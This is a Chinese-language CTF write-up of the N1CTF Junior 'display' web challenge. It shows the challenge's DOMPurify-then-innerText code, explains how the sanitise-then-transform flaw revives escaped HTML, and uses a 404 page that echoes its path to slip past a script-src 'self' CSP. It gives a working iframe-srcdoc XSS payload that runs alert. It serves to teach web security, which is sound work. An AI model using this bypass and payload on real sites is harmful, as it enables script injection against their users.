CTF-WEB: 利用iframe标签利用xss,waf过滤后再转换漏洞-- N1ctf Junior display

核心逻辑

// 获取 URL 查询参数的值  
function getQueryParam(param) {  
    // 使用 URLSearchParams 从 URL 查询字符串中提取参数  
    const urlParams = new URLSearchParams(window.location.search);  
    // 返回查询参数的值  
    return urlParams.get(param);  
}  
  
// 使用 DOMPurify 对内容进行清理（sanitize），防止 XSS 攻击  
function sanitizeContent(text) {  
    // 只允许 <h1>, <h2> 标签和纯文本  
    const config = {  
        ALLOWED_TAGS: ['h1', 'h2']  // 配置允许的标签  
    };  
    // 返回清理后的内容，DOMPurify 会移除不允许的标签和潜在的危险内容  
    return DOMPurify.sanitize(text, config);  
}  
  
// 当 DOM 完全加载后执行的代码  
document.addEventListener("DOMContentLoaded", function() {  
    // 获取页面中输入框、按钮和内容显示区域的 DOM 元素  
    const textInput = document.getElementById('text-input');  
    const insertButton = document.getElementById('insert-btn');  
    const contentDisplay = document.getElementById('content-display');  
  
    // 获取 URL 查询参数中的 'text' 参数  
    const queryText = getQueryParam('text');  
  
    // 如果查询参数 'text' 存在  
    if (queryText) {  
        // 解码并清理传入的文本，atob 用于解码 base64，decodeURI 处理 URL 编码  
        const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));  
  
        // 如果清理后的文本不为空  
        if (sanitizedText.length > 0) {  
            // 将清理后的文本设置为输入框的内容（innerHTML 用于处理 HTML 标签）  
            textInput.innerHTML = sanitizedText;  
  
            // 将清理后的文本设置为预览区的显示内容  
            contentDisplay.innerHTML = textInput.innerText;  
  
            // 启用插入按钮  
            insertButton.disabled = false;  
        } else {  
            // 如果清理后的文本为空，显示警告信息  
            textInput.innerText = "Only allow h1, h2 tags and plain text";  
        }  
    }  
});

过滤后再转换，sanitizedText在经过.innerText时其中的HTML实体会被转换为字符串。

当访问不存在页面时会返回路径名,可以利用这一点来构造脚本执行

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none';
Content-Type: text/plain; charset=utf-8
Content-Length: 17
ETag: W/"11-GF1FwKuoyTpdz1qrL+FpsG3KmnU"
Date: Fri, 14 Feb 2025 07:59:03 GMT
Connection: keep-alive
Keep-Alive: timeout=5

/1 : invalid path

使用<iframe srcdoc=url>来在属性值中嵌入 HTML 内容,并在其中嵌套<script src=url>来绕过安全策略,使用**/ 与 // 闭合

<iframe srcdoc="<script src='**/alert(`xss`)//'></script>"></iframe>

• 注意字符串包裹方式依次为 " ' `
• 因为js支持使用反引号包裹字符串

参考

2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog